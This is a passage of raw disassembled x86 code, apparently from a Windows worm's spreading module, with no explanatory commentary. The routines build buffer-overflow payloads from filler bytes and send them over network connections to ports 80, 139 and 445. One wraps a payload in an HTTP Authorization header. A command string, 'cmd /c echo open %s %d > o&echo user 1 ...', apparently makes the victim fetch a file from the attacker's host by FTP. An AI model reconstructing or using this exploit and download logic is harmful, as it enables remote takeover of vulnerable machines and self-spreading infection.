al, 1 pop esi leave retn 8 sub_40CCE2 endp ; =============== S U B R O U T I N E ======================================= sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p ; sub_40CD9E+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B9C0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CCE2 pop esi retn 4 sub_40CD16 endp ; =============== S U B R O U T I N E ======================================= sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp ; sub_40CD9E+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CCE2 retn 8 sub_40CD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p ; sub_40CD9E+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40CBDC test al, al jz short loc_40CD7C push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CC80 call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CD7C: ; CODE XREF: sub_40CD43+Fj pop esi leave retn sub_40CD43 endp ; =============== S U B R O U T I N E ======================================= sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD33 test al, al jz short loc_40CD9A mov ecx, esi call sub_40CD43 loc_40CD9A: ; CODE XREF: sub_40CD7F+12j pop esi retn 8 sub_40CD7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD9E proc near ; CODE XREF: ___:0040D625p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CB2A mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D0F2 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D0F2 push esi lea ecx, [ebp+var_30] call sub_40CB2A lea ecx, [ebp+var_20] call sub_40CB2A lea ecx, [ebp+var_50] call sub_40CB2A lea ecx, [ebp+var_18] call sub_40CB2A lea ecx, [ebp+var_40] call sub_40CB2A lea ecx, [ebp+var_38] call sub_40CB2A lea ecx, [ebp+var_28] call sub_40CB2A push 4 push offset dword_432030 lea ecx, [ebp+var_30] call sub_40CCE2 push 3 push offset dword_432038 lea ecx, [ebp+var_30] call sub_40CCE2 lea ecx, [ebp+var_30] call sub_40CC68 lea ecx, [ebp+var_30] call sub_40CD43 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "░B░B░B░B" call sub_40CCE2 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CCE2 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CCE2 lea ecx, [ebp+var_20] call sub_40CC68 push offset loc_4323B4 lea ecx, [ebp+var_50] call sub_40CD16 lea ecx, [ebp+var_50] call sub_40CC68 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CB34 lea ecx, [ebp+var_58] call sub_40CC68 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CD7F lea ecx, [ebp+var_58] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BF70 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CD16 push 4 push offset dword_43203C lea ecx, [ebp+var_18] call sub_40CCE2 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CCE2 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CCE2 lea ecx, [ebp+var_18] call sub_40CC68 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CD33 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CD33 lea ecx, [ebp+var_40] call sub_40CD43 lea ecx, [ebp+var_18] call sub_40CBC3 lea ecx, [ebp+var_50] call sub_40CBC3 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CD33 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CD33 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CD33 lea ecx, [ebp+var_38] call sub_40CD43 lea ecx, [ebp+var_20] call sub_40CBC3 lea ecx, [ebp+var_30] call sub_40CBC3 lea ecx, [ebp+var_40] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CCE2 lea ecx, [ebp+var_28] call sub_40CC68 push 2 push offset dword_4323A8 lea ecx, [ebp+var_28] call sub_40CCE2 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CD33 lea ecx, [ebp+var_28] call sub_40CD43 lea ecx, [ebp+var_38] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CB2A lea ecx, [ebp+var_8] call sub_40CB2A push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_28] call sub_40CBC3 push offset dword_4323A4 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push offset dword_4323A0 lea ecx, [ebp+var_10] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_8] call sub_40CBC3 push offset dword_432394 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push (offset loc_43238F+1) lea ecx, [ebp+var_48] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBC3 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D100 ; --------------------------------------------------------------------------- loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj ; sub_40CD9E+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D100: ; CODE XREF: sub_40CD9E+352j pop edi pop ebx leave retn sub_40CD9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p ; sub_40D1C8+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call near ptr 71AB1890h nop cmp eax, edi jnz short loc_40D16B lea eax, [ebp+var_10C] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40D16F loc_40D16B: ; CODE XREF: sub_40D104+54j xor eax, eax jmp short loc_40D17F ; --------------------------------------------------------------------------- loc_40D16F: ; CODE XREF: sub_40D104+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB9EC loc_40D17F: ; CODE XREF: sub_40D104+69j pop edi pop esi leave retn sub_40D104 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p ; sub_40D1C8+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB9D0 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 4 jz short loc_40D1AD xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D1AD: ; CODE XREF: sub_40D183+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CBA24 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p ; ___:0040D716p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_40D1F1 xor al, al jmp loc_40D29D ; --------------------------------------------------------------------------- loc_40D1F1: ; CODE XREF: sub_40D1C8+20j push ebx push 0 push esi call sub_41BF70 push 2Fh push offset dword_4320CC push esi call sub_41CD20 push 8 lea eax, [esi+31h] push offset dword_4320FC push eax mov [esi+2Fh], di call sub_41CD20 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41CD20 push 6 add ebx, edi push offset dword_4CE6EC push ebx call sub_41CD20 mov ebx, [ebp+arg_0] push 85h push offset dword_432044 push ebx call sub_40D183 add esp, 48h test al, al jnz short loc_40D259 loc_40D255: ; CODE XREF: sub_40D1C8+B5j xor bl, bl jmp short loc_40D294 ; --------------------------------------------------------------------------- loc_40D259: ; CODE XREF: sub_40D1C8+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 push [ebp+var_4] push esi push ebx call sub_40D183 add esp, 1Ch test al, al jz short loc_40D255 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 add esp, 10h mov bl, 1 loc_40D294: ; CODE XREF: sub_40D1C8+8Fj push esi call sub_41BA91 pop ecx mov al, bl loc_40D29D: ; CODE XREF: sub_40D1C8+24j pop edi pop esi pop ebx leave retn sub_40D1C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2A2 proc near ; CODE XREF: ___:0040D6FCp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432108 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D2DD push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D104 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D2DD cmp [ebp+var_20], 82h jz short loc_40D2E1 loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj ; sub_40D2A2+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D2E1: ; CODE XREF: sub_40D2A2+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D1C8 add esp, 0Ch leave retn sub_40D2A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427670 call sub_41D174 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427668 fstp [esp+10h+var_10] call sub_41D055 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41D174 inc eax leave retn sub_40D2F4 endp ; =============== S U B R O U T I N E ======================================= sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p var_40 = qword ptr -40h mov eax, offset loc_426AA7 call sub_41D640 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D977 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D2F4 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D382 push edi push eax lea ecx, [ebp-38h] call sub_40D8F2 loc_40D382: ; CODE XREF: sub_40D340+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D49F mov ebx, [ebp+10h] loc_40D391: ; CODE XREF: sub_40D340+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D39B push 3 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D39B: ; CODE XREF: sub_40D340+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D3A5 push 2 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D3A5: ; CODE XREF: sub_40D340+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D3AE push 1 loc_40D3AD: ; CODE XREF: sub_40D340+59j ; sub_40D340+63j pop ebx loc_40D3AE: ; CODE XREF: sub_40D340+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427680 fstp [esp+40h+var_40] call sub_41D19B pop ecx pop ecx call sub_41D174 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D3ED mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D3ED: ; CODE XREF: sub_40D340+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D45B add [ebp-18h], eax loc_40D43F: ; CODE XREF: sub_40D340+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_432154[eax] push eax push 1 call sub_40D774 inc esi cmp esi, [ebp-1Ch] jb short loc_40D43F loc_40D45B: ; CODE XREF: sub_40D340+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D479 push dword ptr [ebp+14h] call sub_41B9C0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D7CD mov [ebp-18h], edi loc_40D479: ; CODE XREF: sub_40D340+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D493 sub esi, [ebp-1Ch] loc_40D484: ; CODE XREF: sub_40D340+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D774 dec esi jnz short loc_40D484 loc_40D493: ; CODE XREF: sub_40D340+13Fj cmp [ebp+10h], edi ja loc_40D391 push 1 pop ebx loc_40D49F: ; CODE XREF: sub_40D340+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D977 push dword_427678 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D824 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D977 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D340 endp ; =============== S U B R O U T I N E ======================================= sub_40D4E2 proc near ; CODE XREF: ___:0040D6DFp mov eax, offset loc_426AC4 call sub_41D640 sub esp, 10h push ebx push esi push edi push offset byte_43DB88 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D340 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BEB5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D52C xor bl, bl jmp short loc_40D570 ; --------------------------------------------------------------------------- loc_40D52C: ; CODE XREF: sub_40D4E2+44j mov ecx, [ebp-18h] mov eax, offset dword_427688 cmp ecx, ebx jnz short loc_40D53A mov ecx, eax loc_40D53A: ; CODE XREF: sub_40D4E2+54j cmp [ebp+18h], ebx jz short loc_40D542 mov eax, [ebp+18h] loc_40D542: ; CODE XREF: sub_40D4E2+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C360 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CBA24 cmp eax, esi jz short loc_40D567 xor bl, bl jmp short loc_40D569 ; --------------------------------------------------------------------------- loc_40D567: ; CODE XREF: sub_40D4E2+7Fj mov bl, 1 loc_40D569: ; CODE XREF: sub_40D4E2+83j push edi call sub_41BA91 pop ecx loc_40D570: ; CODE XREF: sub_40D4E2+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D977 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D977 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D4E2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_432300 push eax call sub_41CD20 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CB710 push eax push dword ptr [ebp+8] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41C360 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_432198 push eax call sub_40CD9E xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D63B xor eax, eax jmp loc_40D767 ; --------------------------------------------------------------------------- loc_40D63B: ; CODE XREF: ___:0040D632j mov [ebp-0Ch], esi loc_40D63E: ; CODE XREF: ___:0040D73Ej test esi, esi jnz loc_40D744 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D72C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB9D4 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40D721 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D6E9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D977 lea eax, [ebp+0Ch] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D9B3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D4E2 add esp, 1Ch jmp short loc_40D71E ; --------------------------------------------------------------------------- loc_40D6E9: ; CODE XREF: ___:0040D6A7j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D703 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D2A2 jmp short loc_40D71B ; --------------------------------------------------------------------------- loc_40D703: ; CODE XREF: ___:0040D6F3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D721 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1C8 loc_40D71B: ; CODE XREF: ___:0040D701j add esp, 0Ch loc_40D71E: ; CODE XREF: ___:0040D6E7j movzx esi, al loc_40D721: ; CODE XREF: ___:0040D69Aj ; ___:0040D70Dj push ebx call dword_4CBA6C test esi, esi jnz short loc_40D737 loc_40D72C: ; CODE XREF: ___:0040D657j push 3E8h nop call near ptr 2670E97h loc_40D737: ; CODE XREF: ___:0040D72Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D63E loc_40D744: ; CODE XREF: ___:0040D640j lea ecx, [ebp-8] call sub_40CBC3 test esi, esi jz short loc_40D765 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40D765: ; CODE XREF: ___:0040D74Ej mov eax, esi loc_40D767: ; CODE XREF: ___:0040D636j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A88 loc_40D76C: ; CODE XREF: sub_426A88+3j ; ___:00426AA1j ... push 1 call sub_40D977 retn ; END OF FUNCTION CHUNK FOR sub_426A88 ; =============== S U B R O U T I N E ======================================= sub_40D774 proc near ; CODE XREF: sub_40D340+110p ; sub_40D340+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D78E call sub_42629A loc_40D78E: ; CODE XREF: sub_40D774+13j test ebx, ebx jbe short loc_40D7C5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D7C5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BF70 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D7C5: ; CODE XREF: sub_40D774+1Cj ; sub_40D774+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D774 endp ; =============== S U B R O U T I N E ======================================= sub_40D7CD proc near ; CODE XREF: sub_40D340+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D7E7 call sub_42629A loc_40D7E7: ; CODE XREF: sub_40D7CD+13j test ebx, ebx jbe short loc_40D81C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D81C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj ; sub_40D7CD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D7CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp ; sub_4261B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D83C call sub_426173 loc_40D83C: ; CODE XREF: sub_40D824+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D84E mov esi, [ebp+arg_8] loc_40D84E: ; CODE XREF: sub_40D824+25j cmp edi, ebx jnz short loc_40D870 push dword_427678 add esi, ecx mov ecx, edi push esi call sub_40D9E8 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D9E8 jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D870: ; CODE XREF: sub_40D824+2Cj test esi, esi jbe short loc_40D8B3 cmp esi, eax jnz short loc_40D8B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D884 mov eax, offset dword_427688 loc_40D884: ; CODE XREF: sub_40D824+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D8B3 push 1 mov ecx, edi call sub_40D977 mov eax, [ebx+4] test eax, eax jnz short loc_40D89F mov eax, offset dword_427688 loc_40D89F: ; CODE XREF: sub_40D824+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D8B3: ; CODE XREF: sub_40D824+4Ej ; sub_40D824+52j ... push 1 push esi mov ecx, edi call sub_40D8F2 test al, al jz short loc_40D8E9 mov eax, [ebx+4] test eax, eax jnz short loc_40D8CD mov eax, offset dword_427688 loc_40D8CD: ; CODE XREF: sub_40D824+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41CD20 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D8E9: ; CODE XREF: sub_40D824+4Aj ; sub_40D824+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D824 endp ; =============== S U B R O U T I N E ======================================= sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp ; sub_40D774+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D904 call sub_42629A loc_40D904: ; CODE XREF: sub_40D8F2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D92D mov al, [ecx-1] cmp al, dl jz short loc_40D92D cmp al, 0FFh jz short loc_40D92D cmp edi, edx jnz short loc_40D968 dec al push edx mov [ecx-1], al loc_40D922: ; CODE XREF: sub_40D8F2+47j mov ecx, esi call sub_40D977 loc_40D929: ; CODE XREF: sub_40D8F2+4Bj ; sub_40D8F2+52j xor al, al jmp short loc_40D972 ; --------------------------------------------------------------------------- loc_40D92D: ; CODE XREF: sub_40D8F2+19j ; sub_40D8F2+20j ... cmp edi, edx jnz short loc_40D946 cmp [esp+8+arg_4], dl jz short loc_40D93B push 1 jmp short loc_40D922 ; --------------------------------------------------------------------------- loc_40D93B: ; CODE XREF: sub_40D8F2+43j cmp ecx, edx jz short loc_40D929 mov [esi+8], edx mov [ecx], dl jmp short loc_40D929 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D8F2+3Dj cmp [esp+8+arg_4], dl jz short loc_40D963 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D958 cmp eax, edi jnb short loc_40D970 loc_40D958: ; CODE XREF: sub_40D8F2+60j push 1 mov ecx, esi call sub_40D977 jmp short loc_40D968 ; --------------------------------------------------------------------------- loc_40D963: ; CODE XREF: sub_40D8F2+58j cmp [esi+0Ch], edi jnb short loc_40D970 loc_40D968: ; CODE XREF: sub_40D8F2+28j ; sub_40D8F2+6Fj push edi mov ecx, esi call sub_40DA4F loc_40D970: ; CODE XREF: sub_40D8F2+64j ; sub_40D8F2+74j mov al, 1 loc_40D972: ; CODE XREF: sub_40D8F2+39j pop edi pop esi retn 8 sub_40D8F2 endp ; =============== S U B R O U T I N E ======================================= sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp ; sub_40D340+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D9A3 mov eax, [esi+4] test eax, eax jz short loc_40D9A3 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D99C cmp al, 0FFh jz short loc_40D99C dec al mov [ecx], al jmp short loc_40D9A3 ; --------------------------------------------------------------------------- loc_40D99C: ; CODE XREF: sub_40D977+19j ; sub_40D977+1Dj push ecx call sub_41D65F pop ecx loc_40D9A3: ; CODE XREF: sub_40D977+8j ; sub_40D977+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D977 endp ; =============== S U 